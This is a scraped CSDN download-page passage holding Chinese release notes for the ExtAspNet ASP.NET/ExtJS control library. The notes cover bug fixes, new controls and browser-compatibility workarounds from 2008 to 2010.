-现在的解决方法是在初始化时:if(this.initialized){return;}this.initialized=true; +需要先回发页面再弹出IFrame窗口。[fixed] -在回发时设置窗口的Popup和IFrameUrl属性,因为这些属性是可以保持状态的,所以在关闭窗口时要注意设置Popup=false。 -另一种做法(推荐):PageContext.RegisterStartupScript(Window99.GetShowReference("./simpleform.aspx"));。 +2008-08-15 v0.4 beta5 -点击关闭窗口的按钮,在IE6下会有JS错误。[fixed] -增加BorderLayout控件,示例在iframe/borderlayout.aspx。[fixed] +Radiobuttonlist显示有重影(示例在radio.aspx)。[fixed] -全新的样式。 -去除Horizontal属性,增加ColumnNumber(可以设置渲染成几列)。 -GetValueReference取得的值不正确的BUG。 -动态向Form中添加FormRow,并动态的向FormRow中添加表单字段,以及如何取得表单字段的值。(示例在form_dynamic.aspx)[fixed] +IFrame弹出窗口关闭后回发父页面,则会多加载IFrame一次,再次打开窗口会重复加载IFrame2-3次[feedback:xmzhu]。[fixed] -这是<em>一个</em>重要的BUG,会严重影响页面的加载速度。原因是通过脚本改变的IFrameUrl会在回发时保持状态,从而回发父页面后Window中的IFrame被添加到页面,而这是不需要的。 -现在"是否弹出窗口、窗口标题、IFrameUrl"在客户端的改变,不会影响服务器端的属性,也即是不保持状态。此问题解决。(示例在button_iframe.aspx) +2008-08-13 v0.4 beta4 -点击关闭窗口的按钮,在IE下会有JS错误。[fixed] -Window的右上角关闭图标增加提示,优化事件响应。[fixed] -Window的代码重构。[fixed] +修正<em>一个</em>的内存泄漏。[fixed] -IE7下测试,打开iframe/default.aspx页面,iexplorer占内存68.368M。 -内存存在泄漏时,点击iframe/page3.aspx页面8次后iexplorer占118.792M内存。 -修正后,点击iframe/page3.aspx页面8次后iexplorer占76.492M内存。 -IE窗口最小化时,IE会自动进行垃圾回收。 +2008-08-12 v0.4 beta3 -底层的javascript框架Extjs升级为v2.2,Grid的渲染速度有很大提升。[fixed] -Grid的EnableDelayRender默认为true(如果没有设置Grid的高度或通过布局间接设置高度,则行不可见,可以通过AutoHeight="true"解决)。[fixed] +页面正在加载的提示尽早的显示出来。[fixed] -首先在执行js来完成页面渲染之前延迟5ms,以便浏览器把当前页面内容显示出来。 -加载js脚本的script标签放置在页面的最后,放置加载js而阻塞PageLoading的显示。 +2008-08-08 v0.4 beta2 -TabStrip延时加载出错。[fixed] -Window的IFrameUrl处理的BUG,比如Pages_ExtAspNet目录下的页面应该为./FE_ApplyEditor.aspx或~/Pages_ExtAspNet/FE_ApplyEditor.aspx。[fixed] -Window的WindowPosition="Center"并且Target="_parent",则会JS错误。[fixed] -实现网报首页下拉菜单和左侧菜单的导航功能。[fixed] -Window的创建在页面显示后进行,不计算在js渲染时间内。[fixed] -优化费用申请页面(尽量减少不必要的层次嵌套)。[fixed] -button_iframe.aspx默认会加载form.aspx页面(Window控件的BUG)。[fixed] -Window中的保存并关闭按钮和Asp.netAjax冲突。[fixed] -优化关闭Window的js脚本,减少写到页面的js大小。[fixed] -加快“保存并关闭”按钮关闭窗口的速度,使用PageContext.RegisterExclusiveScript(CurrentActiveWindow.GetClosePostBackReference());,示例在(simpleform.aspx)。[fixed] +2008-08-05 v0.4 beta1 -DropDownList去除Traditional属性,和传统的Asp.net控件一样不可编辑。[fixed] -DropDownList增加SelectedText属性(去除了模拟树时通过SelectedItem.Text的多余html字符)。[fixed] -为了加快渲染速度,去掉一些特效(比如Panel的折叠效果,Grid的拖动列效果等)[feedback:dcding]。[fixed] -将生成的js对象的名称简单化,这样可以减少生成的js内容,加快页面加载速度(<em>一个</em>典型页面的js由原来的33.0k降低为21.4k)。[fixed] +弹出窗口中,点击按钮回发然后点击关闭按钮,出现js错误 [feedback:xmzhu]。[fixed] -因为在页面的Page_Load中,if (!IsPostBack){PageContext.RegisterPageStateChangedStartupScript();}通过这样方法向页面注册了一段脚本,但是这段脚本在回发时没有注册到页面,因为js调用此脚本时报错。 -一种解决方法是将向页面注册脚本的函数移动到if<em>语句</em>的外面,即每次都向页面注册此脚本。 -另一种办法就是在PageManager控件中增加RegisterPageStateChangedScript(向页面注册监视页面中表单内容改变的脚本)的属性(会在每次页面回发(包含ajax回发)时注册脚本)(示例在button_iframe.aspx/simpleform.aspx)。 +PageManager控件增加ExecuteOnReadyWhenPostBack属性(示例在onreadyscript.aspx)。[fixed] -这个手工添加onReady函数能够在每次页面回发时都注册脚本(包括Ajax局部回发),这就避免了手工去做的麻烦(已经在网报中遇到这种情况)。 -每个页面必须添加<em>一个</em>PageManager控件,否则会出错,同时去除DesignTimeStyle控件(作为PageManager的属性出现)。[fixed] -TextField等表单字段增加Readonly属性。[fixed] +全新设计的IFrame的架构(尽可能和基于MasterPage的架构保持兼容,和Asp.net Ajax保持兼容)。[fixed] -最大的好处是可以减少页面下载完毕后Javascript渲染时间(可以节约一般的渲染时间)。(所有示例在iframe<em><em>文件</em>夹</em>下) +示例1,通过点击按钮弹出IFrame窗口,可直接关闭父页面,也可在关闭后刷新或回发父页面。(default.aspx/page2.aspx/simpleform.aspx) -虽然IFrame和Master两种架构差异迥然,或许你以为需要修改一堆代码来完成这种转换,起初我也是这么认为的,但是现在你所要做的仅仅是为Window控件增加<em>一个</em>属性(Target="_parent"),就完成了两种框架的转换,是不是很酷。 -显然,控件本身封装了大量的代码,简单来看现在有三个页面(default.aspx(A)/page2.aspx(B)/simpleform.aspx(C)),其中A包含B页面,当你在B中打开包含有页面C的窗口时,窗口不是在B中打开,而是在A中打开,这样才能保证窗口覆盖整个页面,当你从C中返回需要回发页面B时,却发现取得的是A页面,因为我们窗口是在A页面中创建的。我会通过一篇文章来揭示这一过程,敬请期待。 -示例2,Grid中弹出窗口。(default.aspx/page3.aspx/simpleform.aspx) +示例3,TriggerBox弹出窗口。(default.aspx/triggerbox.aspx/simpleform.aspx) -在整个页面弹出窗口或者在当前页面弹出窗口,仅仅设置Window的Target属性即可。 -示例4,弹出窗口中的弹出窗口。 -对整个Examples更新测试。[fixed] +2008-07-31 v0.3 beta12 -IE下TabStrip在Ajax回发后不会去掉x-hide-display样式,导致Tab显示为空的BUG。[fixed] -对TabStrip/Panel/Window中的IFrame重新设计,如果设置IFrameUrl="#"或者"about:blank",则不渲染iframe到页面节点,同时第二次打开Window中的IFrame不会有残影出现。[fixed] -如果TabStrip的Tab不是激活Tab并且设置了IFrameUrl,则会延迟加载(示例在tabstrip_iframe.aspx)。[fixed] -Tree控件,点击<em>一个</em>节点自动回发,则当前点击的那个节点的选中状态不会保持的BUG [feedback:zgjiang2]。[fixed] +规范关闭窗口时提示用户保存已经修改的内容提示的调用方式(包含iframe中关闭按钮和window右上角关闭图标的调用方式)(示例在grid_iframe.aspx/simpleform.aspx)。[fixed] -内部实现上,点击“保存并关闭按钮”,可以将关闭窗口的脚本更早的执行(在simpleform.aspx,PageContext.RegisterStartupScript增加重载函数),而不是原来的先创建整个页面UI,再关闭窗口。 -参照Yslow的评分规则,将JS<em>文件</em>引用由head移动到body中。[fixed] -Firefox下,如果页面太长会出滚动条,原来在ViewPort样式中有body{overflow:hidden;}。[fixed] +IFrame内的页面宽度和高度会自动设置(是不是还在为1px/2px的白边而烦恼,现在不用了:-)(示例在iframe_autosize.aspx/simpleform.aspx/simpleform2.aspx)[fixed] -增加PageManager控件(需要指定AutoSizePanelID,即需要设置宽度和高度为整个页面的宽度和高度的Panel),HideScrollbar属性用于隐藏滚动条(IE/Firefox)。 +2008-07-24 v0.3 beta11 -web.config配置信息中MessageTarget改名为FormMessageTarget,增加FormOffsetRight配置项,用来定义全局表单字段距离右边界的宽度,同时每个表单字段都增加OffsetRight属性 [feedback:jima]。[fixed] -Window在回发时设置的Title不起作用的BUG。[fixed] -增加Image控件 [feedback:jima]。[fixed] -Tree控件,如果<em>一个</em>节点不是叶子节点并且没有子节点,则应把它的Expanded设置为false,否则会引起页面死循环回发 [feedback:zgjiang2]。[fixed] -Image增加ToolTipTitle/ToolTipAutoHide<em>两个</em>属性,当提示信息特别长时,可以让用户阅读完毕之后手工关闭提示信息(示例在hyperlink.aspx)。[fixed] -去掉DropDownList控件的Text属性(强制性),可以通过设置SelectedValue来设置选中哪一项 [feedback:xmzhu]。[fixed] -过滤提示消息中的换行符(转换为<br/>),否则提示信息可能导致页面渲染错误 [feedback:dcding]。[fixed] +2008-07-23 v0.3 beta10 +完善Tree控件。[fixed] -如何将数据库中的数据绑定到Tree(示例在tree2_bind_database.aspx)。 -ajax加载树节点,放在UpdatePanel中才有ajax的效果(示例在tree2_ajax.aspx)。 -更改TreeNode的ID为NodeId,否则<em>两个</em>树中不能有相同ID的TreeNode,这是不合理的。 -Grid的GridColumn的ID改名成ColumnId,否则同<em>一个</em>页面放置<em>两个</em>Grid,它们的GridColumn的ID不能<em>同名</em>,这是不合理的。注意需要更新以前的代码![fixed] -Grid所有类型的列增加DataTooltipField/DataTooltipFormatString<em>两个</em>字段,以显示ToolTip(示例在grid.aspx)。[fixed] +2008-07-22 v0.3 beta9 +IE6下,左侧导航链接的选中样式,以及鼠标移上去和移开的样式不对。[fixed] -发现原来ie6不能正确解析li的高度,必须手工设置才行(style="height:20px;")。 +IE6/IE7下,模拟树的下拉列表如果文字长度太长,则显示的文字会换行,导致错位。[fixed] -虽然最后未能解决<div style="width: 60px; white-space: nowrap; overflow: hidden; border: solid 1px red;"><div style="width: 16px; height: 18px; float: left;">##</div>差旅交通费</div>在IE和Firefox下显示的不同效果。 -但是通过用<img src="##" />来代替<div style="background:url(##)" />,从而实现FF和IE下样式的统一。 -刚看到old9的解决方案:把“差旅交通费”改成“<span style="margin-right: -1000px;">差旅交通费</span>”,在IE下和FF下的都不换行,:-) -LinkButton增加OnClick事件 [feedback:huihuang]。[fixed] -Window通过设置IFrameUrl和Popup不起作用的BUG。[feedback:xmzhu]。[fixed] +增加树控件(Tree)(示例在tree2.aspx)。[fixed] -可以在回发时维持树的状态(选中行,折叠/展开,CheckBox)。 -可以通过Inline的方式添加树节点,也可以绑定到XmlDocument/XmlDataSource/SiteMap。 -点击树节点可以链接到页面,也可以引发PostBack事件,可以添加自定义脚本。 +2008-07-16 v0.3 beta8 +ContentPanel中放置ExtAspNet控件,则渲染时会出现各种问题,比如下拉列表显示样式出错,Grid没了滚动条等等。[fixed] -隐蔽性非常强,原来在ContentPanel中渲染ExtAspNet控件,如果容器的display='none',则会出现各种问题(主要是大小不对)。 必须设置容器为visibility='hidden',然后在渲染完成后显示容器。 -现在Grid只要显示的设置高度和宽度,或者隐式的设定宽度高度(通过Anchor或Fit布局实现),只要超过Grid容器就会显示滚动条。 +IE6下,在应用Asp.NetAjax后,Form中字段的宽度渲染不正确。[fixed] -调试相当困难,如果你有过在IE下通过alert发现问题的经历,你就能明白。 -最后发现IE6下应用Asp.NetAjax后不仅Form中列的宽度设置不正确,而且主内容区域的宽度设置也不正确,不过最终我们还是顽强的修复了IE6下的这个BUG: 在MasterPage的onReady函数中,首先修正内容区域的宽度(region3.setWidth(pageLayout1.getSize().width - region2.getSize().width - 5);region3.doLayout();),然后修正页面中所有表单的宽度(box_fixFormWidthInIE6();): 示例在 Site.Master 页面。 +集成的AspNetAjax有<em>一个</em>很大的BUG,只要你在页面上进行过ajax操作,当改变窗口大小时你会惊讶的发现内容区域的内容全部为空了![fixed] -解决方法相当怪异,经过<em>一个</em>下午的不断尝试,终于用<em>一个</em>怪异的方法解决(box.{0}.setSize(box.{0}.getSize());box.{0}.doLayout();), 这样的代码让我想起刷新窗口时那个方法(window.location.href=window.location.href;),不管怎么说,我对能很好的解决这个重大的BUG很是欣喜。 +2008-07-14 v0.3 beta6 -增加FlashObject控件。[fixed] -PageLoading增加EnableFadeOut属性(默认false),可以启用淡出效果。[fixed] -Accordion选中样式微调。[fixed] -预加载Form表单出错时提示信息的背景图片。[fixed] +Grid增加EnableDelayRender属性(默认false),可以加快页面的渲染速度(<em>一个</em>典型的20个记录的页面,可提前0.7s-1s显示出来)。[fixed] -因为延迟加载数据不会改变Grid的大小,所以对于非布局内或不设定高度宽度的Grid,需要设置"EnableDelayRender=false"。 -改变Grid中静态的CheckBoxField图片。[fixed] -TabStrip增加TabIndexChanged事件,同时Tab增加EnablePostBack,可以在点击<em>一个</em>Tab时引起回发事件。这在延迟加载Tab的内容非常有用。(示例在tabstrip.aspx)[fixed] +2008-07-12 v0.3 beta5 -页面菜单Toolbar的分割符和背景不相融合。[fixed] -表单字段之间可以比较大小,比如NumberBox可以和Label比较大小,同时增加CompareType,来指定比较的类型(示例在form_compare.aspx)。[fixed] -如果是同种类型的表单字段,不需要指定CompareType,比如<em>两个</em>NumberBox比较值的大小不需要指定CompareType,而<em>一个</em>NumberBox和TextBox比较大小需要指定CompareType。 +如果在编辑页面使用AspNetAjax,则不能在回发时关闭当前窗口[feedback:huihuang](示例在ajax_editor_main.aspx/ajax_editor.aspx)。[fixed] -这是由于ajax后执行的javascript中不能有return false<em>语句</em>。 +在文本框失去焦点时,执行一些Javascript脚本(示例在textbox_blur.aspx) [feedback:xmzhu]。[fixed] -在页面添加onReady函数(会被系统调用),然后用javascript监视文本框值的改变。 -弹出Window默认显示的错误页面,解决方法在当前目录添加<em>一个</em>空的html页面,然后把Window控件的IFrameUrl指向这个页面而不是"#"。[fixed] +弹出的窗口中的弹出窗口的如果内容发生变化,则点击右上角的关闭按钮时会有提示用户先保存的对话框,但是这个对话框的被第二个弹出窗口覆盖了 [feedback:xmzhu]。[fixed] -原来的调用方法太麻烦(见示例中alert\alert_1.aspx和alert\alert_2.aspx,总计 6 行代码),现在只需要 3 行代码就OK了。 -点击提交按钮后变成灰色不可再次点击(示例在button_click_gray.aspx)[feedback:jima]。[fixed] +增加Menu、MenuText、MenuSeparator、MenuButton、MenuHyperLink控件,用于按钮的下拉菜单(示例在button_menu.aspx)。[fixed] -增加SplitButton控件。[fixed] +2008-07-09 v0.3 beta4 -DataPicker默认的日期格式为(yyyy-MM-dd)。[fixed] +Form表单字段(TextBox,DropDownList...)之间可以比较大小 [feedback:huihuang]。[fixed] -增加ControlToCompare/ValueToCompare/CompareOperator/CompareMessage四个属性,示例在form_compare.aspx。 +TabStrip中放置IFrame会出现渲染错误 (示例在tabstrip_iframe.aspx)[feedback:jima]。[fixed] -特殊处理,拥有IFrame的Tab如果不是激活Tab,则不设置Url,只有在激活时才设置Url。 -RadioButtonList增加AutoPostBack属性(示例在radio.aspx) [feedback:xmzhu]。[fixed] -FormRow可以设置各列的宽度百分比 (示例在form_columnwidths.aspx)[feedback:jima]。[fixed] +表单字段Enable=false时显示颜色太浅 [feedback:jima]。[fixed] -覆盖缺省样式的.x-item-disabled,设置不透明。 +2008-07-08 v0.3 beta3 -Grid没有数据,向后翻页按钮可以点击的BUG [feedback:huihuang]。[fixed] +增加HiddenField控件。[fixed] -其实用TextBox也能模拟HiddenField的行为,只需要设置CssStyle="display:none;"即可。 +TriggerBox 如果 EnableTextBox = true,则不能将Text回发(这是html的限制)。[fixed] -最后的解决方案居然是设置 readonly=true,同时更改属性为 Readonly(示例在textbox2.aspx)。 -模拟树的下拉列表在失去焦点后显示的文字不对的BUG。[fixed] +控制下拉列表某些项不可以选择(示例在dropdownlist2.aspx)。[fixed] -增加 DataEnableSelectField 属性,不可选择的项变灰,并且鼠标经过时没有样式。 -LinkButton和Grid的LinkButtonField增加Enable属性(示例在hyperlink.aspx和grid.aspx)。[fixed] +2008-07-07 v0.3 beta2 +增加UpdatePanelConnector控件,支持在布局构建的页面使用Asp.net Ajax。[fixed] -使用UpdatePanelConnector有<em>一个</em><em>要<em>求</em></em>:ContentTemplate下只能有<em>一个</em>子节点,比如box:Panel。 -示例在ajax3.aspx/content_page4.aspx。 -示例content_page3.aspx中,点击“Ajax查询”按钮和关闭弹出的窗口(点击右上角的叉)都引发异步更新。 +2008-07-03 v0.3 beta1 +容器控件的AutoHeight/AutoWidth默认为false。[fixed] -使用GroupPanel的地方需要手工添加AutoHeight="true"属性。 +增加UserControlConnector,可以在其中放置用户控件(示例在page_usercontrol.aspx)。[fixed] -也可以在ContentPanel中放置用户控件,注意两者的区别。 +增加ContentPlaceHolderConnector,替换原来Region的ContentPlaceHolderId属性(示例在Site.master)。[fixed] +支持Asp.net ajax异步加载。[fixed] -有很大局限性,只能在ContentPanel中使用,示例在ajax1.aspx/content_ajax2.aspx中。 -对于使用布局构建的页面(比如content_page1.aspx)还不能使用Asp.net ajax,因为页面是整体渲染的,先放弃。 +2008-07-02 v0.2 beta12 +关闭前提示当前页面已经被修改(示例在content_page1.aspx/simpleform.aspx)[fixed] -支持Iframe内按钮和window右上角关闭按钮。 -<em>删除</em>CloseAction属性,可以在后台通过OnClientCloseButtonClick属性指定(为了和iframe中做法一致)。 +iframe中的alert/confirm要覆盖整个父页面,而不仅仅是iframe页面。[fixed] -在Firefox下还有问题。[fix pending] +排序时在标题栏显示排序箭头,可以排序的列标题光标为手形(示例在grid_sorting.aspx)。[fixed] -可以通过设置Grid1.CurrentSortColumnIndex = 0;来强制某列显示排序箭头。 -可以通过 Grid1.Columns[Grid1.CurrentSortColumnIndex].SortExpression 的方式取得当前Grid的排序表达式。 +HyperLinkField/WindowField的链接地址支持服务器端格式(即是~/alert.aspx)。[fixed] -TabStrip的Tab中如果放置ContentPanel,则内容渲染位置不正确。[fixed] -可以在ContentPanel中放置用户控件(示例在page_usercontrol.aspx)。[fixed] +2008-06-30 v0.2 beta11 -增加TwinTriggerBox控件(示例在twintriggerbox.aspx)。[fixed] -Grid的数据库分页需要增加属性IsDatabasePaging=true,以便普通分页和数据库分页,否则在添加<em>删除</em>记录时总记录数不会变化 [feedback:zgjiang2]。[fixed] -关闭Window时PostBack事件OnClose可以指定参数,来区分是哪些操作引发的PostBack事件 [feedback:zgjiang2](示例在window_postback.aspx)。[fixed] -如果表单验证不通过,则需要弹出对话框提示(第<em>一个</em>没通过验证的字段)(目前还不能切换到相应的tab)。[fixed] +页面中任意可输入表单字段发生变化,可提示先保存。(示例在content_page1.aspx/simpleform.aspx)[fixed] -目前还不支持Window右上角关闭按钮的提示保存功能。 -Master/Content的内容页中Grid的Sort事件不起作用的BUG [feedback:zgjiang2]。[fixed] -Grid中的LinkButtonField设置ConfirmText会出错 [feedback:huihuang]。[fixed] -增加静态类Confirm。[fixed] +2008-06-27 v0.2 beta10 +Grid完善。[fixed] -CheckBoxField在回发时不能保持状态的BUG (已经更新了grid_checkboxfield.aspx示例)。 -Grid中模拟树显示,GridColumn增加DataSimulateTreeLevelField属性(<em>一个</em>Grid只能有<em>一个</em>Column指定此属性),指定此列模拟树显示时的层次字段(0,1,2,...)(示例在grid_simulate_tree.aspx)。 -切换分页时清空选中的值 [feedback:jqpeng]。 -增加PreRowDataBound事件,可以在数据绑定之前设置某列的属性 [feedback:xmzhu] (示例在grid_prerowdatabound.aspx)。 -DropDownList模拟树的方式显示,增加DataSimulateTreeLevelField属性,使用方法和Grid的类似(示例在dropdownlist_simulate_tree.aspx)。 +2008-06-25 v0.2 beta9 +Window窗体中的Iframe只让内容区域滚动,而Toolbar不滚动的规则。(示例在content_page2.aspx/simpleform.aspx)[fixed] -在simpleform.aspx中:Panel[BodyPadding=5](Toolbar,Panel[Height=450 Layout=Fit](SimpleForm[AutoScroll=true])),则外面窗口的高度=450 + 5*2 + 26 + 32,其中26是Toolbar的高度,32是窗口的标题栏和下边框的高度。 +关闭Iframe的LoadMask,所以需要Iframe页面添加PageLoading控件,这样效果统一。[fixed] +Grid完善。 -去除EnableClientPaging和EnableClientSort属性,客户端排序和客户端分页在ASP.NET应用中会有很多问题(主要是状态保持的问题)。 +EnableServerSort改名AllowSorting。(示例在grid_sorting.aspx) -使用非常简单:设置AllowSorting=true,注册OnSort事件,在事件处理函数中重新绑定数据。 +增加AllowPaging属性。(示例在grid_paging.aspx) -使用非常简单:设置AllowPaging=true,PageSize=3,注册OnPageIndexChange事件,在事件处理函数中Grid1.PageIndex = e.NewPageIndex;OK。 +数据库分页支持。(示例在grid_database_paging.aspx) -使用也非常简单:设置AllowPaging=true,PageSize=3,在绑定时设置RecordCount为总的记录数,在OnPageIndexChange事件处理函数中Grid1.PageIn</a></div><div data-report-view="{"mod":"popu_645","index":"4","dest":"https://download.csdn.net/download/wode2600/2726130","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" class="list-item" data-v-ca2d15ac><div class="recommend-title" data-v-ca2d15ac><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAltJREFUWEdjZGBgYGhv/yD45//nEEYGBrX//xj4QWK0AoxMDB//MzDcYmHkXVNZKfCeEWz5v8/1DP8ZuGhlKVZzGRm+sTDxNjI2tz1OZfjHYEpXy2GWMTGcZmxpe9xN62DH5TlQdDA2tzyeNSC+h1o66gCyQyApUdRNSIhNGBSS7979ejtv/utd5EQl2Q7IypT0ExJiFoc44O/LadOfbxp1wPAOAWlpdr5Pn//8/Pzp70+QT3GlAX5+ZnYeHhb2p09/fiImRIhOhBYWvIo21ryWu/Z8PHDp4tdn2BxgoM8l4+IiYH/k6OdjJ058vk91B7g487swMDD8v3Hj+2VJSTYpfn5mEZAlHz/9ffPq5e+Xqqoc2iD+nr0f99DSAQQ9RhMHcHAwsYSGCtvKy7Gr4HPBo0c/b69c/fbwzx///hJ0KQMDA9FpAGaYizO/tpkZjwUTEyMTsgX//v3/d/LUl+N79368RozFMDUkOwCkUUODU8zHW9CFg4OJG8T/8ePf181b3u25efPHK1IsB6nF6gAjY25ZEWFWcNPs169/fw4c+HQD3WBBIRaOsBAhZ5D4qjXv9r5/9+cHuhoHBz4NNjYmFpD4m7e/P547+/UxuhqsDoiPE3WWlWVXgvju/5ee3qfLsfmMiZmBEST+7y/Df2zyJcXSkRwcjDwgucePf95buOj1Xqo6gFBwDw8H/P/P8O/nz//fCPkWmzw7OyMXIyMDOLeQHQXkWIxNz9BygJubgI6kBCu4tUMt8PzF75e7dn24QlQuoJalxJgzCDomA901G/DOKSieBrJ7DgCPdYFAskV/NwAAAABJRU5ErkJggg==" alt data-v-ca2d15ac> <a target="_blank" href="https://download.csdn.net/download/wode2600/2726130" data-report-click="{"mod":"popu_645","index":"4","dest":"https://download.csdn.net/download/wode2600/2726130","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" data-report-query="spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default" class="title" data-v-ca2d15ac>ExtAspNet_v2.3.2_dll</a></div> <a target="_blank" href="https://download.csdn.net/download/wode2600/2726130" data-report-click="{"mod":"popu_645","index":"4","dest":"https://download.csdn.net/download/wode2600/2726130","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" data-report-query="spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-download-2~default~OPENSEARCH~Rate-4-2726130-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default" class="desc" data-v-ca2d15ac>ExtAspNet - ExtJS based ASP.NET Controls with Full AJAX Support ExtAspNet是一组专业的Asp.net控件库,拥有原生的AJAX支持和丰富的UI效果, 目标是创建没有ViewState,没有JavaScript,没有CSS,没有UpdatePanel,没有WebServices的Web应用程序。 支持的浏览器: IE 7.0+, Firefox 3.0+, Chrome 2.0+, Opera 9.5+, Safari 3.0+ 注:ExtAspNet基于一些开源的程序ExtJS, HtmlAgilityPack, Nii.JSON, YUICompressor。 示例: http://extasp.net/ 开源: http://extaspnet.codeplex.com/ 博客: http://sanshi.cnblogs.com/ 邮箱: sanshi.ustc@gmail.com 发布历史: +2010-09-29 v2.3.2 -不绑定任何数据到Grid时,确保页面不会出错。 -修正了Grid列属性DataFormatString的<em>一个</em>bug,比如设置{0:yy-MM-dd HH:mm}时没有效果。 -修正下拉列表控件不能绑定DataTable的BUG(feedback:RedOcean)。 -增加土耳其语言资料<em>文件</em>(feedback:abdullaharslan)。 -Grid的BoundField增加NullDisplayText属性,用于处理数据库中的null值,如果没有设置则默认为空字符串。 -修正DatePicker中的<em>一个</em>bug(31/01/2010将会返回NULL)使用DateFormatString来生成SelectedDate属性(feedback:OktaEndy)。 -修正extjs最新版本(v3.2.2)中的<em>一个</em>bug,如果下拉列表中存在<em>两个</em>相同的Text,则SelectedValue返回值永远是第<em>一个</em>Text的值(feedback:ben.zhou)。 -应用补丁#6593, #6621(feedback:vbelyaev)。 +修正IE7下Grid分页速度慢(feedback:youwei, StevenGuan, hazardvn, gavindou, ttjacky)。 -实际上IE7下所以的回发都慢,原因是客户端的Base64编码速度慢,已经使用encodeURIComponent来代替Base64编码。 -俄语翻译(feedback:vbelyaev)。 +2010-06-30 v2.3.1 -ExtAspNet控件将不在依赖ViewState,减少1/4左右的HTTP数据传输量。 -控件和示例的增强。 +2010-03-28 v2.2.1 +为TabStrip的GetAddTabReference函数增加重载方法,以便指定Tab的图标(feedback:mmdcup)。 -修正此函数通过PageContext.RegisterStartupScript调用时不能正确显示Icon的BUG(feedback:zhaowenke)。 -修正basic/hello.aspx示例在单独浏览器打开后,不能弹出对话框的BUG。 -隐藏示例首页最外层RegionPanel的边框ShowBorder="false"。 +集成Extjs最新版本v3.1.1。 -增加<em>一个</em>新的Theme - Access。 -修正了Firefox下Zoom In/Out时页面消失的BUG。 -<em>删除</em>Panel的EnableLightBackgroundColor属性,同时EnableBackgroundColor只支持Blue和Gray两种Theme。 +2010-01-31 v2.2.0 -使得Asp.net的控件ImageButton具有和Asp.net的Button控件类似的行为(Ajax提交)(feedback:261629698)。 +TabStrip增加GetAddTabReference和GetRemoveTabReference<em>两个</em>函数,用来向TabStrip控件动态增加<em>删除</em>Tab。 -增加示例tabstrip/tabstrip_addtab.aspx。 -重构了示例网站的架构,目前只有一层IFrame结构。 -为TabStrip增加EnableTabCloseMenu属性,是否启用右键菜单,可用来关闭当前Tab和所有其他Tab。 -为NumberBox增加DecimalPrecision属性,用来控制小数点后的位数(需要设置NoDecimal="false")(feedback:zqmars)。 -Window控件更新。 -关闭按钮默认直接关闭,不会弹出确认对话框。 -GetConfirmFormModifiedHideReference的函数中的ConfirmFormModified简化为Confirm,所以此函数更名为GetConfirmHideReference。 -增加<em>两个</em>属性EnableConfirmOnClose(默认false),CloseAction(Hide, HideRefresh, HidePostBack)。 -修正EnableMaximize属性不能使Window最大化的BUG,修正了双击标题栏不能最大化的BUG。 -<em>删除</em>Button控件的SystemIcon属性,比如以前这样定义SystemIcon="Close",现在需要这样定义Icon="SystemClose"。 -WindowPosition默认居中,而不是黄金分割位置。 +Button, Window等控件弹出位置属性的变化。 -Window的Target属性由字符串类型变为枚举类型,注意更新以前的代码:Target="_self" -> Target="Self", Target="_parent" -> Target="Parent"。 -MenuButton, LinkButton, Button, LinkButtonField的ConfirmTarget属性由字符串变为枚举类型,可以取三个枚举值Self, Parent, Top。 -Confirm.GetShowReference的最后<em>一个</em>参数target变为枚举类型。 -Alert.GetShowReference中的showInParent参数也变为Target枚举类型。 -MenuButton, LinkButton, Button, LinkButtonField增加ValidateTarget用来控制表单验证失败时提示对话框的显示位置。 +2010-01-06 v2.1.9 -集成Extjs最新版本v3.1.0。 -修正灰色皮肤的CSS问题。 -修正Grid的列名中不能包含中文字符的BUG(feedback:davidwen)。 -为Web.config和PageManager增加属性AjaxTimeout(单位秒,默认30秒)。 -修正了在Grid的PageIndexChange事件中不能获取SelectedRowIndexArray属性的BUG(feedback:Violet)。 -Button控件将不再自动拥有display:inline属性,如果希望<em>两个</em>按钮在一行显示,请为第<em>一个</em>按钮设置CssStyle="float:left;"属性。 -修正了弹出菜单的位置在Firefox下不正确的BUG(feedback:eroach)。 -为TriggerBox和TwinTriggerBox增加EnableEdit属性。 -使用Hidden来显示隐藏ExtAspNet控件,而不是使用Visible属性(Visible目前设置为只读属性)。 -使用Hidden控制Window控件的显示隐藏,Popup已经标记为Obsolete属性。 -Window的实例方法GetCloseReference等以及ActiveWindow的静态方法GetCloseReference等,其中的Close全部改为Hide。 -增加TabStrip中Tab控件可关闭属性EnableClose(默认为false)以及<em>两个</em>方法GetShowReference和GetHideReference(feedback:anson)。 -修正绑定到Tree的XMLDocument中Icon属性映射错误(feedback:nopnop9)。 -修正HtmlEditor不能编辑的BUG(feedback:TheBox)。 -修正IE下有时会出现空白页面的情况(feedback:olivia919)。 +2009-12-06 v2.1.8 -修正了使用IFrame的Window关闭后不能再次打开的BUG(feedback:alexa99)。 -修正了IE下Grid中的<em>一个</em>JS问题(feedback:lqm4108)。 -修正Alert消息中引号未编码导致的JS错误(feedback:sun1299shine)。 +集成extjs3.0.3。 